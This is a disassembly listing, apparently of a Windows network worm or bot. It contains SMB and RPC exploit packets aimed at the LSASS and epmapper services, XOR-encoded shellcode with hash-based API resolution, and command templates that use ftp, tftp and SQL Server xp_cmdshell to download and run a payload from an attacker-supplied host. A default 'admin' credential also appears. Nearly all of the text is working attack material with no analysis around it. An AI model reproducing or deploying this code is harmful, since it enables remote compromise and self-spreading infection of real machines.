dword_424E28	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40297A+316o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_424E98	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40297A+341o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_424F10	dd 0			; DATA XREF: sub_40297A+36Fo
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 2	dup(0)
word_424F98	dw 0AD9Dh		; DATA XREF: sub_40282F+30r
					; sub_40297A+E4r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_424FD8	dd 1004600h		; DATA XREF: sub_40297A+13Er
					; sub_40297A+242r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_425090	dd 0A0D7325h, 0		; DATA XREF: sub_40282F+EAo
					; sub_4036D2+102o ...
aEchoOpenSDEqEc	db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
					; DATA XREF: sub_40282F+A4o
		db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------


loc_4250FC:				; DATA XREF: sub_40297A+172o
					; sub_403833+178o
		jmp	short loc_425104
; ---------------------------------------------------------------------------
		jmp	short loc_425106
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_425104:				; CODE XREF: seg001:loc_4250FCj
					; DATA XREF: sub_40297A+27o ...
		pop	esp
		pop	esp


loc_425106:				; CODE XREF: seg001:004250FEj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_425110	dd 1CEC8166h		; DATA XREF: sub_40297A+Dr
					; sub_403833+Dr
dword_425114	dd 0E4FF07h		; DATA XREF: sub_40297A+16r
					; sub_403833+16r
dword_425118	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_4033B6+DEo
					; sub_4033B6+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_425168	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_403166+120o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4254CC	dd 20h,	0		; DATA XREF: sub_403166+133o
		dd 20h,	5C005Ch, 0
off_4254E0	dd offset aSusan	; DATA XREF: sub_403166+15Ao
					; "susan"
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
dword_425520	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_403166+171o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_403166+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_425630	dd 18759Fh		; DATA XREF: sub_403166+101o
dword_425634	dd 100139Dh		; DATA XREF: sub_403166+F8o
asc_425638:				; DATA XREF: sub_402FCD+1Co
					; sub_4030B0+16o
		unicode	0, <\\>,0
		align 10h
aIpc:					; DATA XREF: sub_402FCD+Co
					; sub_4030B0+Bo
		unicode	0, <\IPC$>,0
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033B6+41o
		align 10h
		jmp	short loc_425672

; =============== S U B	R O U T	I N E =======================================



sub_425662	proc far		; CODE XREF: sub_425662:loc_425672p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_42566A:				; CODE XREF: sub_425662+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_42566A
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425672:				; CODE XREF: seg001:00425660j
		call	near ptr sub_425662


loc_425677:				; CODE XREF: sub_425662+Ej
		jo	short loc_4256DB
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_4256F9
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_4256DB:				; CODE XREF: sub_425662:loc_425677j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_4256F9:				; CODE XREF: sub_425662+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_425662	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_4257A0:				; DATA XREF: sub_403833+157o
					; sub_403833+214o
		jmp	short loc_4257B2

; =============== S U B	R O U T	I N E =======================================



sub_4257A2	proc near		; CODE XREF: sub_4257A2:loc_4257B2p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_4257AA:				; CODE XREF: sub_4257A2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4257AA
		jmp	short loc_4257B7
; ---------------------------------------------------------------------------


loc_4257B2:				; CODE XREF: seg001:loc_4257A0j
		call	sub_4257A2


loc_4257B7:				; CODE XREF: sub_4257A2+Ej
		jo	short near ptr dword_425730+1Eh
		cwde
		cdq
		cdq
		retn
sub_4257A2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_425850	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_403833+106o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_425938	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_403C74+85o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_4259C8	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C74+B1o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 2 dup(0)
dword_425A78	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C74+D8o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_425B58	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403833+59o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_403833+8Bo
		unicode	0, <C$>,0
a?????_0	db '?????',0
		align 10h
dword_425BC0	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403833+2ACo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_425C30	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403833+2D3o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_425CD8	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403833+3B2o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_425D58	dd offset loc_401493+2	; DATA XREF: sub_403833+3E0o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407078+4
		dd 1, 0
		dd 1, 0
		dd offset loc_407078+4
		dd 1, 0
		dd 1, 0
		dd offset loc_407078+4
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
dword_425DF0	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403833+308o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_425E60	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403833+333o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_425ED8	dd 0			; DATA XREF: sub_403833+361o
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfess_0	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_425F98	dd 1004600h		; DATA XREF: sub_403833+141r
					; sub_403833+247r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4036D2+BEo
					; sub_40514F+9Do
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036D2+97o
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_4040E5+B2o
		align 4
dword_4260DC	dd 10FF8h, 0		; DATA XREF: sub_4040E5+6Ao
dword_4260E4	dd 10FF8h		; DATA XREF: sub_4040E5+79o
dword_4260E8	dd 7FFDF020h, 0		; DATA XREF: sub_4040E5+162o
dword_4260F0	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_4044FF+78o
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_1	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_1	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426178	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_4044FF+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4261A8	dd 0			; DATA XREF: sub_4044FF+44o
		dd 800000D4h, 2	dup(0)
unk_4261B8	db  81h	; 		; DATA XREF: sub_4045DE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 2 dup(0)
byte_426208	db 41h			; DATA XREF: sub_40467C+108r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426250	proc near		; DATA XREF: seg001:00404956o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_42634C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_426362
		mov	[esi+8], eax
		call	sub_426315
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_426362
		mov	[esi+0Ch], eax
		call	sub_4262C7
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_426362
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_426250	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262C7	proc near		; CODE XREF: sub_426250+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4262F0
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4262C7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262F0	proc near		; CODE XREF: sub_4262C7+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4262FF:				; CODE XREF: sub_4262F0+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_42630C
		inc	ebx
		jmp	short loc_4262FF
; ---------------------------------------------------------------------------


loc_42630C:				; CODE XREF: sub_4262F0+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4262F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426315	proc near		; CODE XREF: sub_426250+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_42632D:				; CODE XREF: sub_426315+1Ej
		cmp	[ecx], ebx
		jz	short loc_426335
		mov	ecx, [ecx]
		jmp	short loc_42632D
; ---------------------------------------------------------------------------


loc_426335:				; CODE XREF: sub_426315+1Aj
		mov	edx, edi


loc_426337:				; CODE XREF: sub_426315+2Aj
		cmp	[edx+4], ebx
		jz	short loc_426341
		mov	edx, [edx+4]
		jmp	short loc_426337
; ---------------------------------------------------------------------------


loc_426341:				; CODE XREF: sub_426315+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_426315	endp


; =============== S U B	R O U T	I N E =======================================



sub_42634C	proc near		; CODE XREF: sub_426250+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_42634C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426362	proc near		; CODE XREF: sub_426250+16p
					; sub_426250+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_426378:				; CODE XREF: sub_426362+33j
		jecxz	short loc_4263B2
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_426385:				; CODE XREF: sub_426362+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_426391
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_426385
; ---------------------------------------------------------------------------


loc_426391:				; CODE XREF: sub_426362+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_426378
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4263B2:				; CODE XREF: sub_426362:loc_426378j
					; sub_426362:loc_4263B2j
		jmp	short loc_4263B2
sub_426362	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_4263B8	proc near		; DATA XREF: seg001:00404906o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42640A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_4263D5:				; CODE XREF: sub_4263B8+38j
		jecxz	short loc_426405
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_4263E0:				; CODE XREF: sub_4263B8+32j
		lodsb
		test	al, al
		jz	short loc_4263EC
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_4263E0
; ---------------------------------------------------------------------------


loc_4263EC:				; CODE XREF: sub_4263B8+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_4263D5
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_426405:				; CODE XREF: sub_4263B8:loc_4263D5j
		mov	[esp+arg_0], ebx
		retn
sub_4263B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42640A	proc near		; CODE XREF: sub_4263B8+7p

; FUNCTION CHUNK AT 00426442 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_426423
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42642E
; ---------------------------------------------------------------------------


loc_426423:				; CODE XREF: sub_42640A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_42642E:				; CODE XREF: sub_42640A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_426442
sub_42640A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426435	proc near		; CODE XREF: sub_42640A:loc_426442p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_426435	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42640A


loc_426442:				; CODE XREF: sub_42640A+29j
		call	sub_426435


loc_426447:				; DATA XREF: sub_40408A+1Bo
					; sub_40CD3A+7CDo ...
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42640A
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_42644C	dd 60h			; DATA XREF: sub_4040E5+320o
dword_426450	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_4040E5+2F5o
dword_42645C	dd 30h			; DATA XREF: sub_4040E5+2CAo
					; seg001:0042C684o ...
dword_426460	dd 0A1h			; DATA XREF: sub_4040E5+29Fo
dword_426464	dd 3			; DATA XREF: sub_4040E5+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_4040E5+153o
		align 10h


loc_426470:				; DATA XREF: sub_4040E5+E8o
		jmp	short near ptr dword_426478
; ---------------------------------------------------------------------------
		align 8
dword_426478	dd 0			; CODE XREF: seg001:loc_426470j
dword_42647C	dd 2F2F7325h, 2E732520h, 0 ; DATA XREF:	seg001:00404A9Ao
aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: seg001:0040492Bo
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404EC7+186o
		align 4
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: sub_404EC7+152o
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: sub_404EC7+BEo
		align 4
aAdmin		db 'admin',0            ; DATA XREF: sub_404EC7+29o
					; seg001:0042C3F8o
		align 4
